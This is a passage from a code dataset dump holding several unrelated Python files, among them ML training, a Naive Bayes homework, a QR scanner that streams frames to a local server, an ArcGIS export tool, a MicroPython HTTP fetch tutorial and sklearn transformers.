images.reshape(-1, 28*28)\n if torch.cuda.is_available():\n images = images.cuda()\n labels = labels.cuda()\n \n # Forward pass\n outputs = model(images)\n loss = criterion(outputs, labels)\n\n writer.add_scalar(tag=\"train_loss\", scalar_value=loss.item(), global_step=epoch * total_step + i)\n # logging.info(\"Train loss step {}: {}\".format(epoch * total_step + i, loss.item()))\n train_loss_list.append(loss.item())\n\n # Backward and optimize\n optimizer.zero_grad()\n # # sanity check on activation\n # print(\"train check 1 \", float((model.test_out == 0).sum()) / float(model.test_out.numel()))\n # print(\"train check 2 \", float((model.test_out[0] == 0).sum()) / float(model.test_out[0].numel()))\n # print(\"train check 3 \", model.test_out[0])\n loss.backward()\n optimizer.step()\n \n if (i+1) % 100 == 0:\n logging.info('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}' \n .format(epoch+1, num_epochs, i+1, total_step, loss.item()))\n # turn off compressor at the end of each epoch\n model.fc2.compressor.end_epoch()\n\n\n # Test the model\n # In test phase, we don't need to compute gradients (for memory efficiency)\n with torch.no_grad():\n model.eval()\n model.fc2.compressor.start_epoch()\n correct = 0\n total = 0\n for i, (images, labels) in enumerate(test_loader):\n # print(\"test \", i)\n images = images.reshape(-1, 28*28)\n if torch.cuda.is_available():\n images = images.cuda()\n labels = labels.cuda()\n\n outputs = model(images)\n # # sanity check on activation\n # print(\"test check 1 \", float((model.test_out == 0).sum()) / float(model.test_out.numel()))\n # print(\"test check 2 \", float((model.test_out[0] == 0).sum()) / float(model.test_out[0].numel()))\n _, predicted = torch.max(outputs.data, 1)\n total += labels.size(0)\n correct += (predicted == labels).sum()\n model.fc2.compressor.end_epoch()\n model.train()\n writer.add_scalar(tag=\"test_acc\", scalar_value=100 * float(correct) / float(total), global_step=total_step * (epoch + 1))\n test_acc_list.append(100 * float(correct) / float(total))\n logging.info('Accuracy of the model on the 10000 test images: {} %'.format(100 * float(correct) / float(total)))\n\n writer.close()\n\n results = {\"train_loss\": train_loss_list, \n \"test_acc\": test_acc_list}\n results.update(init_results)\n utils.save_result_json(args, results, run_folder)\n# Save the model checkpoint\n# torch.save(model.state_dict(), 'model.ckpt')\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"tutorials/01-basics/logistic_regression/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"290989641","text":"import numpy as np\nimport pandas as pd\n\n\"\"\"\n\t\t\t\t\t\t\tQuestion 5 Computation\n\t\t\t\t\t\t\t----------------------\n\n final row : \tWeather \tTemp\t\tHumidity\t\tWindy\t\t\tPlay\n \t\t\t\tSunny \t\tCool\t\tHigh\t\t\tFalse\t\t\t?\n\n\nprobability of Play being 'Yes',\n\n \t\t\tP('Yes' | 'Sunny', 'Cool', 'High', 'False') \n\n \t\t\t\t= [ p('Yes' | 'Sunny') * p('Yes' | 'Cool') * p('Yes' | 'High') * p('Yes' | 'False') * p('Yes') ] /\n \t\t\t\t\t[ p('Sunny') * p('Cool') * p('High') * p('False') ]\n\n\n\t\tBayes' theorem: \n \t\t\t\t\t\tP(A | B) = P(B | A) * P(A) / P(B)\n\n\"\"\"\n\ndef probability(column, value, dataFrame):\n\t\"\"\" P (value) = number of rows where column == value / total number of rows \"\"\"\n\tn_df = df.loc[df[column] == value]\n\treturn n_df.shape[0] / df.shape[0]\n\n\ndef prior_a_given_b(a_column, a_value, b_column, b_value, df):\n\t\"\"\" \n\tP (a_value | b_value) = \n\t\tnumber of rows where a_column is a_value and b_column is b_value \n\t\t\t/ number of rows where b_column is b_value\n\t\"\"\"\n\n\t# select only rows where a_column == a_value\n\ta_df = df.loc[df[a_column] == a_value]\n\n\t# find percentage of those where b_column == b_value (P(A | B))\n\ta_and_b_df = a_df.loc[a_df[b_column] == b_value]\n\treturn a_and_b_df.shape[0] / a_df.shape[0]\n\n# read question 5 table\ndf = pd.read_csv(\"table_1.csv\", header=0, dtype=str)\n#df.to_csv(\"test.csv\", sep='&', index=False, line_terminator='\\\\\\\\\\n') write for latex\n\nT = 'No'\n\np00 = prior_a_given_b('Play', T, 'Weather', 'Sunny', df)\np01 = prior_a_given_b('Play', T, 'Temp', 'Cool', df)\np02 = prior_a_given_b('Play', T, 'Humidity', 'High', df)\np03 = prior_a_given_b('Play', T, 'Windy', 'FALSE', df)\n\np10 = probability('Weather', 'Sunny', df)\np11 = probability('Temp', 'Cool', df)\np12 = probability('Humidity', 'High', df)\np13 = probability('Windy', 'FALSE', df)\n\np_play = (p00 * p01 * p02 * p03 * probability('Play', T, df)) / (p10 * p11 * p12 * p13)\n\n#\n# display results\n#\n\n# result\ns = \"P(vPlay|vWeather ... ∩ vWindy) = %s \\n\" % p_play\n\n#\n# display work\n#\n\n# numerator\ns += \"P(vPlay) = %s \\n\" % probability('Play', T, df)\n\n# denominator\ns += \"P(vWeather) = %s \\n\" % p10\ns += \"P(vTemp) = %s \\n\" % p11\ns += \"P(vHumidity) = %s \\n\" % p12\ns += \"P(vWindy) = %s \\n\" % p13\n\n# numerator\ns += \"P(vWeather|vPlay) = %s \\n\" % p00\ns += \"P(vTemp|vPlay) = %s \\n\" % p01\ns += \"P(vHumidity|vPlay) = %s \\n\" % p02\ns += \"P(vWindy|vPlay) = %s \\n\" % p03\n\nprint(s)\n\n","sub_path":"HW5_LMBROWN/Question_5.py","file_name":"Question_5.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395557077","text":"# import the necessary packages\nfrom imutils.video import VideoStream\nfrom pyzbar import pyzbar\nimport argparse\nfrom PIL import Image\nimport datetime\nimport imutils\nimport time\nimport cv2\nimport socket \nimport numpy as np\n\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-o\", \"--output\", type=str, default=\"barcodes.csv\",\n\thelp=\"path to output CSV file containing barcodes\")\nargs = vars(ap.parse_args())\n\n# initialize the video stream and allow the camera sensor to warm up\nportnum=input(\"enter the port number \")\nportnum=int(portnum)\nprint(\"[INFO] starting video stream...\")\nvs = VideoStream(src=0).start()\n# vs = VideoStream(usePiCamera=True).start()\ntime.sleep(2.0)\n\n# open the output CSV file for writing and initialize the set of\n# barcodes found thus far\ncsv = open(args[\"output\"], \"w\")\nfound = set()\n\n\n\n# loop over the frames from the video stream\nwhile True:\n\t# grab the frame from the threaded video stream and resize it to\n\t# have a maximum width of 400 pixels\n\tframe = vs.read()\n\tframe = imutils.resize(frame, width=400)\n\n\t# find the barcodes in the frame and decode each of the barcodes\n\tbarcodes = pyzbar.decode(frame)\n\ti=0\n \t# loop over the detected barcodes\n\tfor barcode in barcodes:\n\t\t# extract the bounding box location of the barcode and draw\n\t\t# the bounding box surrounding the barcode on the image\n\t\t(x, y, w, h) = barcode.rect\n\t\tcv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n\t\t# the barcode data is a bytes object so if we want to draw it\n\t\t# on our output image we need to convert it to a string first\n\t\tbarcodeData = barcode.data.decode(\"utf-8\")\n\t\tbarcodeType = barcode.type\n\n\t\t# draw the barcode data and barcode type on the image\n\t\ttext = \"{} ({})\".format(barcodeData, barcodeType)\n\t\tcv2.putText(frame, text, (x, y - 10),\n\t\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n\n\t\tif key == ord(\"s\"):\n\t\t\ttry:\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tframe=vs.read()\n\t\t\t\tf =open ('test.txt','w')\n\t\t\t\tf.write(text)\n\t\t\t\tf.close()\n\n\t\t\t\timg=Image.fromarray(frame,'RGB')\n\t\t\t\t\n\t\t\t\ti=i+1\n\t\t\t\timg.save(\"out{}.jpg\".format(i),\"JPEG\",quality=200,optimize=True,progressive=True)\n\n\t\t\n\n\t\t\t\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t\t\t\ts.connect(('192.168.4.27',portnum))\n\t\t\t\t\n\n\t\t\t\tframeBytes= frame.tobytes()\n\t\t\n\t\t\t\t# # # print(type(frame))\n\t\t\t\t# # # print(len(frameBytes))\t\n\t\t\t\t# # print(type(len(frameBytes)))\n\t\t\t\tbyteLen=len(frameBytes)\n\t\t\t\t# # print(byteLen)\n\t\t\t\t# print(str(byteLen))\n\t\t\t\tshape0=(frame.shape[0])\n\t\t\t\tshape1=(frame.shape[1])\n\t\t\t\t# print(shape0)\n\n\t\t\t\t# # print(type(frameBytes.shape[0]))\n\t\t\t\ts.send(str(byteLen).encode())\n\n\t\t\t\ts.send (str(shape0).encode())\n\t\t\t\ts.send (str(shape1).encode())\n\t\t\t\ts.close()\n\t\t\t\n\t\t\t\ttry:\n\t\t\t\t\ts1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t\t\t\t\ts1.connect(('192.168.4.27',portnum))\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"cannot reconnect\")\n\t\t\t\tprint(\"connected!\")\n\t\t\t\ts1.send(frameBytes)\n\n\t\t\t\ts1.close()\n\t\t\t\ts2=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t\t\t\ts2.connect(('192.168.4.27',portnum))\n\t\t\t\tprint(\"connected!\")\n\t\t\t\ttext=text.rstrip(' (QRCODE)')\n\t\t\t\tprint(text)\n\t\t\t\ts2.send(text.encode())\n\t\t\t\ts2.close()\n\t\t\t\tsys.exit(0)\n\n\t\t\t\t# s.send (str(frame.shape[0]).encode())\n\t\t\t\t# s.send (str(frame.shape[1]).encode())\n\t\t\t\t\n\t\t\t\t# path= raw_input('Documents/QR-Code/out.jpg')\n\t\t\t\t# s.send(('jpg_'+path).encode('utf-8'))\n\t\t\t\t# reply= s.recv(buf)\n\t\t\t\t# file = open ('Documents/QR-Code/out.jpg','w')\n\t\t\t\t# file.write(reply)\n\t\t\t\t# file.close()\n\t\t\t\t# print(\"finished\")\n\n\n\n\t\t\texcept:\n\t\t\t\tcontinue \n\n\t\tif key == ord(\"q\"):\n\t\t\tbreak\n\n\n\t\t# if the barcode text is currently not in our CSV file, write\n\t\t# the timestamp + barcode to disk and update the set\n\t\tif barcodeData not in found:\n\t\t\tcsv.write(\"{},{}\\n\".format(datetime.datetime.now(),\n\t\t\t\tbarcodeData))\n\t\t\tcsv.flush()\n\t\t\tfound.add(barcodeData)\n\n\t# show the output frame\n\tcv2.imshow(\"Barcode Scanner\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n \n\t# if the `q` key was pressed, break from the loop\n\n\n# close the output CSV file do a bit of cleanup\nprint(\"[INFO] cleaning up...\")\ncsv.close()\ncv2.destroyAllWindows()\nvs.stop()","sub_path":"custom_qr.py","file_name":"custom_qr.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"339428874","text":"import os.path\nimport sys\nimport csv\n\nsys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'external'))\n\nimport arcpy\nfrom utils.addresulttodisplay import add_result_to_display\nfrom collections import OrderedDict\nfrom gistools.utils.collection import MemCollection\nfrom gistools.utils.metfile_generator import export_points_to_metfile\n\n# Read the parameter values\n# 0: shapefile met velddata als punten\n# 1: Project naam\n# 2: Doelbestand voor metfile\n# 3: Veld voor tekencode\n \ninput_fl = arcpy.GetParameterAsText(0)\nproject = arcpy.GetParameterAsText(1)\noutput_file = arcpy.GetParameterAsText(2)\ntekencode = arcpy.GetParameterAsText(3)\ntype_metfile = arcpy.GetParameterAsText(4)\ntype_peiling = arcpy.GetParameterAsText(5)\n\n# Testwaarden voor test zonder GUI:\n# input_fl = './testdata/input/Testdata_metfile_points.shp'\n# project = 'test metfile'\n# output_file = './testdata/output/3_d1_output.shp'\n# tekencode = 'gecombineerde code'\n# type_metfile = 'WIT'\n\n# Print ontvangen input naar console\narcpy.AddMessage('Ontvangen parameters:')\narcpy.AddMessage('Shapefile = ' + str(input_fl))\narcpy.AddMessage('Project = ' + str(project))\narcpy.AddMessage('Doelbestand metfile = ' + str(output_file))\narcpy.AddMessage('Tekencode halen uit = ' + str(tekencode))\narcpy.AddMessage('Opmaaktype metfile = ' + type_metfile)\narcpy.AddMessage('Type peiling = ' + type_peiling)\n\n# voorbereiden data typen en inlezen data\narcpy.AddMessage('Bezig met lezen van puntdata...')\n\npoint_col = MemCollection(geometry_type='Point')\nrecords = []\nrows = arcpy.SearchCursor(input_fl)\nfields = arcpy.ListFields(input_fl)\npoint = arcpy.Point()\n\n# vullen collection\nfor row in rows:\n geom = row.getValue('SHAPE')\n properties = OrderedDict()\n\n for field in fields:\n if field.baseName.lower() != 'shape':\n properties[field.baseName] = row.getValue(field.baseName)\n\n records.append({'geometry': {'type': 'Point',\n 'coordinates': (geom.firstPoint.X, geom.firstPoint.Y)},\n 'properties': properties})\n\npoint_col.writerecords(records)\n\n# Genereren metfile\narcpy.AddMessage('Bezig met genereren van metfile...')\ncode = None\n\nif tekencode == 'tekencode':\n code = 1\nelse:\n code = 2\n\nif type_peiling:\n metfile = export_points_to_metfile(point_col, project, output_file, code, type_metfile, type_peiling)\nelse:\n metfile = export_points_to_metfile(point_col, project, output_file, code, type_metfile)\n\narcpy.AddMessage('Gereed')\n","sub_path":"3_d1_get_metfile_from_fielddata_shape.py","file_name":"3_d1_get_metfile_from_fielddata_shape.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"264339588","text":"\"\"\"\nhttp_fetch: Performing an HTTP request using raw sockets\n\nWe will create a function that receives a URL as its\ninput and returns the response from the requested\nweb server after performing the HTTP request.\nWe will also create a function that can parse a URL\nand return the hostname and path components of the URL.\nThese pieces will be needed to perform the HTTP request.\n\nFirst, experiment in REPL (prototyping)\n>>> import socket, time\n>>> # function, which takes a URL and returns\n>>> # the host and path components:\n>>> def parse_url(url):\n... return url.replace('http://', '').split('/', 1)\n>>>\n>>> url = 'http://micropython.org/ks/test.html'\n>>> host, path = parse_url(url)\n>>> host\n'micropython.org'\n>>> path\n'ks/test.html'\n>>> # define the fetch function, which receives a\n>>> # URL as its input and retrieves its content\n>>> # from a web server:\n>>> HTTP_REQUEST = 'GET /{path} HTTP/1.0\\r\\nHost: {host}\\r\\n\\r\\n'\n>>> BUFFER_SIZE = 1024\n>>>\n>>> def fetch(url):\n... host, path = parse_url(url)\n... ip = get_ip(host)\n... sock = socket.socket()\n... sock.connect((ip, 80))\n... request = HTTP_REQUEST.format(host=host, path=path)\n... sock.send(bytes(request, 'utf8'))\n... response = b''\n... while True:\n... chunk = sock.recv(BUFFER_SIZE)\n... if not chunk:\n... break\n... response += chunk\n... sock.close()\n... body = response.split(b'\\r\\n\\r\\n', 1)[1]\n... return str(body, 'utf8')\n>>>\n>>> html = fetch('http://micropython.org/ks/test.html')\n>>> html\n'\\n\\n \\n Test\\n \\n \\n

Test

\\n It\\'s working if you can read this!\\n \\n\\n'\n>>>\n>>> print(html)\n\n\n \n Test\n \n \n

Test

\n It's working if you can read this!\n \n\n\n# when succesful, put code in Python file:\n\"\"\"\nimport socket\n# requires function get_ip()\nfrom examples.dns_lookup import get_ip\n\nHTTP_REQUEST = 'GET /{path} HTTP/1.0\\r\\nHost: {host}\\r\\n\\r\\n'\nHTTP_PORT = 80\nBUFFER_SIZE = 1024\n\n\ndef parse_url(url):\n \"\"\" split url in host in path\"\"\"\n return url.replace('http://', '').split('/', 1)\n\n\n\"\"\"\n# returns IP for host\n# in case function is not yet defined.\ndef get_ip(host, port=HTTP_PORT):\n addr_info = socket.getaddrinfo(host, port)\n return addr_info[0][-1][0]\n\"\"\"\n\n\ndef fetch(url):\n host, path = parse_url(url)\n ip = get_ip(host)\n sock = socket.socket()\n sock.connect((ip, 80))\n request = HTTP_REQUEST.format(host=host, path=path)\n sock.send(bytes(request, 'utf8'))\n response = b''\n while True:\n chunk = sock.recv(BUFFER_SIZE)\n if not chunk:\n break\n response += chunk\n sock.close()\n body = response.split(b'\\r\\n\\r\\n', 1)[1]\n return str(body, 'utf8')\n\n\ndef http_fetch(url):\n print(\"get HTML-page '{}'\".format(url))\n # fetch and print the HTML-page...\n html = fetch(url)\n print(html)\n\n\ndef main():\n print('DEMO HTTP request using raw sockets...')\n url = 'http://micropython.org/ks/test.html'\n http_fetch(url)\n print('-----')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"workshops/sample-code/examples/wifi/http_fetch.py","file_name":"http_fetch.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"269451837","text":"from sklearn.base import BaseEstimator, TransformerMixin\n\n# All sklearn Transforms must have the `transform` and `fit` methods\nclass DropColumns(BaseEstimator, TransformerMixin):\n def __init__(self, columns):\n self.columns = columns\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n # Primeiro realizamos a cópia do dataframe 'X' de entrada\n data = X.copy()\n # Retornamos um novo dataframe sem as colunas indesejadas\n return data.drop(labels=self.columns, axis='columns')\n \nclass Ingles(BaseEstimator, TransformerMixin):\n def __init__(self):\n pass\n\n def fit(self, X, y=None):\n return self\n \n def transform(self, X):\n # Primeiro realizamos a cópia do dataframe 'X' de entrada\n data = X.copy()\n data.update(data['INGLES'].fillna(0))\n data['INGLES'] = data['INGLES'].astype('bool')\n return data\n\nclass NotasNaoPreenchidas(BaseEstimator, TransformerMixin):\n def __init__(self):\n pass\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n #adiciona coluna de medias relacionadas\n df = X.copy()\n m_DE = df.loc[df[\"NOTA_DE\"] >= 0, \"NOTA_DE\"].mean()\n m_EM = df.loc[df[\"NOTA_EM\"] >= 0, \"NOTA_EM\"].mean()\n m_MF = df.loc[df[\"NOTA_MF\"] >= 0, \"NOTA_MF\"].mean()\n m_GO = df.loc[df[\"NOTA_GO\"] >= 0, \"NOTA_GO\"].mean()\n \n df.update(df['NOTA_DE'].fillna(m_DE))\n df.update(df['NOTA_EM'].fillna(m_EM))\n df.update(df['NOTA_MF'].fillna(m_MF))\n df.update(df['NOTA_GO'].fillna(m_GO))\n \n df.loc[df.NOTA_GO > 10, 'NOTA_DE'] = 10\n df.loc[df.NOTA_EM > 10, 'NOTA_EM'] = 10 \n df.loc[df.NOTA_MF > 10, 'NOTA_MF'] = 10 \n df.loc[df.NOTA_GO > 10, 'NOTA_GO'] = 10 \n \n df.loc[df.NOTA_DE <= 0, 'NOTA_DE'] = m_DE\n df.loc[df.NOTA_EM <= 0, 'NOTA_EM'] = m_EM \n df.loc[df.NOTA_MF <= 0, 'NOTA_MF'] = m_MF\n df.loc[df.NOTA_GO <= 0, 'NOTA_GO'] = m_GO\n\n return df \n\nclass MediasRelacionadas(BaseEstimator, TransformerMixin):\n def __init__(self):\n pass\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n #adiciona coluna de medias relacionadas\n df = X.copy()\n df['REPROVACOES_H'] = df['REPROVACOES_DE'] + df['REPROVACOES_EM']\n df['REPROVACOES_E'] = df['REPROVACOES_MF'] + df['REPROVACOES_GO']\n df['MEDIA_H'] = ((df['NOTA_DE']+df['NOTA_EM'])/2)/10\n df['MEDIA_E'] = ((df['NOTA_MF']+df['NOTA_GO'])/2)/10\n df['NOTA_DE'] = df['NOTA_DE']/10\n df['NOTA_EM'] = df['NOTA_EM']/10\n df['NOTA_MF'] = df['NOTA_MF']/10\n df['NOTA_GO'] = df['NOTA_GO']/10\n df['MEDIA_GERAL'] = (df['NOTA_DE']+df['NOTA_MF']+df['NOTA_EM']+df['NOTA_GO'])/4\n \n return df\n","sub_path":"my_custom_sklearn_transforms/sklearn_transformers.py","file_name":"sklearn_transformers.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"442495479","text":"#!/usr/bin/python3\n\"\"\"\nscript that uses github autho\n\"\"\"\n\nfrom sys import argv\nimport requests\n\nif __name__ == \"__main__\":\n auth = requests.get(\"https://api.github.com/user\", auth=(argv[1], argv[2]))\n di = auth.json()\n if \"id\" in di:\n print(di[\"id\"])\n else:\n print(None)\n","sub_path":"0x11-python-network_1/10-my_github.py","file_name":"10-my_github.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"650965478","text":"# Copyright 2016 Cisco Systems, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n#Code for Q1.\n#The name of the VLAN media type element in the output from a show command for a VLAN is:\n#vlanshowinfo-media-type\n\nimport cisco\ncli('configure terminal ; vlan 3000 ; name vlan_3000 ')\ncli('end ')\n\nvlan_text = clid('show vlan name vlan_3000 ')\n#Print the value of the VLAN media type\nfor pair in vlan_text.split(',') :\n if '' in pair:\n result = pair[pair.index(':')+2:len(pair)]\n print(\"result is \" + result)\n\ncli('configure terminal ; no vlan 3000 ')\ncli('end ')\n#Press return here to complete configuration change\n#End of code for Q1\n\n#Code for Q2.\n#The name of the Administrative State Reason is:\n#state_rsn_desc\n\nimport cisco\n\ncli('configure terminal ; interface Ethernet4/38 ; no shutdown ')\ncli('end ')\n\ninterface_text = clid('show interface Ethernet4/38 ')\n\n#Print the value of the Administrative State Reason\nfor pair in interface_text.split(',') :\n if '' in pair:\n result = pair[pair.index(':')+2:len(pair)]\n print(\"result is \" + result)\n\n#Press return here to see result\n\n#End of code for Q2\n\n \n\n\n\n","sub_path":"cisco/npdev/code_files/nxosv_native_python_challenge.py","file_name":"nxosv_native_python_challenge.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"617229578","text":"\"\"\"Count how many words in a list have length 5.\"\"\"\n\ndef countWords(lst):\n wordList = []\n\n for word in lst:\n if len(word) == 5:\n wordList.append(word)\n print('The word(s) in the list are: ' + str(lst))\n print('The word(s) with the length of 5 are: ' + str(wordList))\n print('Thus the number of words in the list with length of 5 is:', len(wordList))\n\ncountWords(['Sauce', 'Jackpot', 'dad', 'Upper'])","sub_path":"Chp_10/10.23.py","file_name":"10.23.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"368209634","text":"import pandas as pd\nimport lib.wilayah.n2similarities as wn2\nimport lib.kategori.n2similarities as cn2\nimport lib.data.transpose as dtrans\nimport os\n\ndef get_layoutpath_recomendation(\n xls_wil_awal, \n xls_wil_tujuan,\n csv_wil_output,\n \n xls_cat_awal, \n xls_cat_tujuan,\n csv_cat_output,\n \n wil_provcode_method='L',\n wil_provname_method='L',\n wil_kotcode_method='L',\n wil_kotname_method='L',\n wil_keccode_method='L',\n wil_kecname_method='L',\n wil_kelcode_method='L',\n wil_kelname_method='L',\n \n wil_provcode_weight=1,\n wil_provname_weight=1,\n wil_kotcode_weight=1,\n wil_kotname_weight=1,\n wil_keccode_weight=1,\n wil_kecname_weight=1,\n wil_kelcode_weight=1,\n wil_kelname_weight=1,\n\t\twil_minimum_similar_score=13,\n \n cat_code_method='L',\n cat_title_method='L',\n cat_subcode_method='L',\n cat_subtitle_method='L',\n \n cat_code_weight=1,\n cat_title_weight=1,\n cat_subcode_weight=1,\n cat_subtitle_weight=1,\n\t\tcat_minimum_similar_score=7,\n \n print_process=True\n ):\n \n #baca wilayah\n \n wF1 = pd.read_excel(xls_wil_awal)\n wF2 = pd.read_excel(xls_wil_tujuan)\n if print_process:\n print(\"Baca wilayah done\")\n \n #read dan merge\n \n wFF = wn2.get_standard_merged(wF1, wF2)\n if print_process:\n print(\"Read & merge done\")\n \n #get similarities value\n \n wFF = wn2.get_similarities_value(\n wFF, \n method_for_provcode=wil_provcode_method, \n method_for_provname=wil_provname_method, \n method_for_kotcode=wil_kotcode_method, \n method_for_kotname=wil_kotname_method, \n method_for_keccode=wil_keccode_method, \n method_for_kecname=wil_kecname_method, \n method_for_kelcode=wil_kelcode_method, \n method_for_kelname=wil_kelname_method\n )\n \n if print_process:\n print(\"Get similarities value done\")\n \n #get similarity score & match\n \n wFF = wn2.get_most_similar(wFF)\n\n wFF = wn2.get_similarity_score(wFF, \n provcode_weight=wil_provcode_weight, \n provname_weight=wil_provname_weight, \n kotcode_weight=wil_kotcode_weight, \n kotname_weight=wil_kotname_weight, \n keccode_weight=wil_keccode_weight, \n kecname_weight=wil_kecname_weight, \n kelcode_weight=wil_kelcode_weight, \n kelname_weight=wil_kelname_weight\n )\n\n wFF = wn2.get_match(wFF, wil_minimum_similar_score)\n \n if print_process:\n print(\"Get similarity score & match done\")\n \n #get recomendation\n \n wFF = wn2.get_recomendation(wFF)\n \n wFF['ACTION'] = wFF['RECOMENDATION']\n \n if print_process:\n print(\"Get recomendation done\")\n \n #output\n \n wFF.to_csv(csv_wil_output, index = False)\n \n if print_process:\n print(\"Send output done\")\n \n #baca kategori\n \n cF1 = pd.read_excel(xls_cat_awal)\n cF2 = pd.read_excel(xls_cat_tujuan)\n \n if print_process:\n print(\"Baca kategori done\")\n \n #read dan merge\n \n cFF = cn2.get_standard_merged(cF1, cF2)\n \n if print_process:\n print(\"Read & merge done\")\n \n #get similarities value\n \n cFF = cn2.get_similarities_value(\n cFF, \n method_for_code=cat_code_method, \n method_for_title=cat_title_method, \n method_for_subcode=cat_subcode_method, \n method_for_subtitle=cat_subtitle_method\n )\n \n if print_process:\n print(\"Get similarities value done\")\n \n #get similarity score & match\n \n cFF = cn2.get_most_similar(cFF)\n\n cFF = cn2.get_similarity_score(\n cFF, \n code_weight=cat_code_weight, \n title_weight=cat_title_weight, \n subcode_weight=cat_subcode_weight, \n subtitle_weight=cat_subtitle_weight\n )\n\n cFF = cn2.get_match(cFF, cat_minimum_similar_score)\n \n if print_process:\n print(\"Get similarity score & match done\")\n \n #get recomendation\n \n cFF = cn2.get_recomendation(cFF)\n \n cFF['ACTION'] = cFF['RECOMENDATION']\n \n if print_process:\n print(\"Get recomendation done\")\n \n #output\n cFF.to_csv(csv_cat_output, index = False)\n \n if print_process:\n print(\"Send output done\")\n \n\ndef minimize_layoutpath(csv_wil, csv_wil_output, csv_cat, csv_cat_output):\n \n #wilayah\n \n wFF = pd.read_csv(csv_wil, dtype={\n 'PROVCODE_A':str, 'PROVNAME_A':str, 'KOTCODE_A':str, 'KOTNAME_A':str, 'KECCODE_A':str, 'KECNAME_A':str, 'KELCODE_A':str, 'KELNAME_A':str,\n 'PROVCODE_B':str, 'PROVNAME_B':str, 'KOTCODE_B':str, 'KOTNAME_B':str, 'KECCODE_B':str, 'KECNAME_B':str, 'KELCODE_B':str, 'KELNAME_B':str,\n 'PROVCODE_SIMILARITIES':float, 'PROVNAME_SIMILARITIES':float,\n 'KOTCODE_SIMILARITIES':float, 'KOTNAME_SIMILARITIES':float,\n 'KECCODE_SIMILARITIES':float, 'KECNAME_SIMILARITIES':float,\n 'KELCODE_SIMILARITIES':float, 'KELNAME_SIMILARITIES':float,\n 'PROVCODE_MOSTSIMILAR_Aisone':bool, 'PROVNAME_MOSTSIMILAR_Aisone':bool,\t 'KOTCODE_MOSTSIMILAR_Aisone':bool, 'KOTNAME_MOSTSIMILAR_Aisone':bool, 'KECCODE_MOSTSIMILAR_Aisone':bool, 'KECNAME_MOSTSIMILAR_Aisone':bool, 'KELCODE_MOSTSIMILAR_Aisone':bool, 'KELNAME_MOSTSIMILAR_Aisone':bool,\n 'PROVCODE_MOSTSIMILAR_Bisone':bool, 'PROVNAME_MOSTSIMILAR_Bisone':bool, 'KOTCODE_MOSTSIMILAR_Bisone':bool, 'KOTNAME_MOSTSIMILAR_Bisone':bool, 'KECCODE_MOSTSIMILAR_Bisone':bool, 'KECNAME_MOSTSIMILAR_Bisone':bool, 'KELCODE_MOSTSIMILAR_Bisone':bool, 'KELNAME_MOSTSIMILAR_Bisone':bool,\n 'SIMILAR_SCORE_Aisone':int,'SIMILAR_SCORE_Bisone':int,'SIMILAR_SCORE_TOTAL':int,\n 'IS_MATCH':bool,'RECOMENDATION':str, 'ACTION':str\n })\n \n wFFmin = wFF[wFF.ACTION.isin(['match', 'membelah', 'membelah-keepvalue', 'bergabung', 'newB'])].filter(['PROVCODE_A', 'PROVNAME_A', 'KOTCODE_A', 'KOTNAME_A', 'KECCODE_A', 'KECNAME_A', 'KELCODE_A', 'KELNAME_A', 'PROVCODE_B', 'PROVNAME_B', 'KOTCODE_B', 'KOTNAME_B', 'KECCODE_B', 'KECNAME_B', 'KELCODE_B', 'KELNAME_B', 'ACTION'], axis=1)\n\n wFFmin.to_csv(csv_wil_output, index = False)\n \n #kategori\n \n cFF = pd.read_csv(csv_cat, dtype={\n 'CODE_A':str, 'TITLE_A':str, 'SUBCODE_A':str, 'SUBTITLE_A':str,\n 'CODE_B':str, 'TITLE_B':str, 'SUBCODE_B':str, 'SUBTITLE_B':str,\n 'DEPTH':int, 'CODE_SIMILARITIES':float, 'TITLE_SIMILARITIES':float,\n 'SUBCODE_SIMILARITIES':float, 'SUBTITLE_SIMILARITIES':float,\n 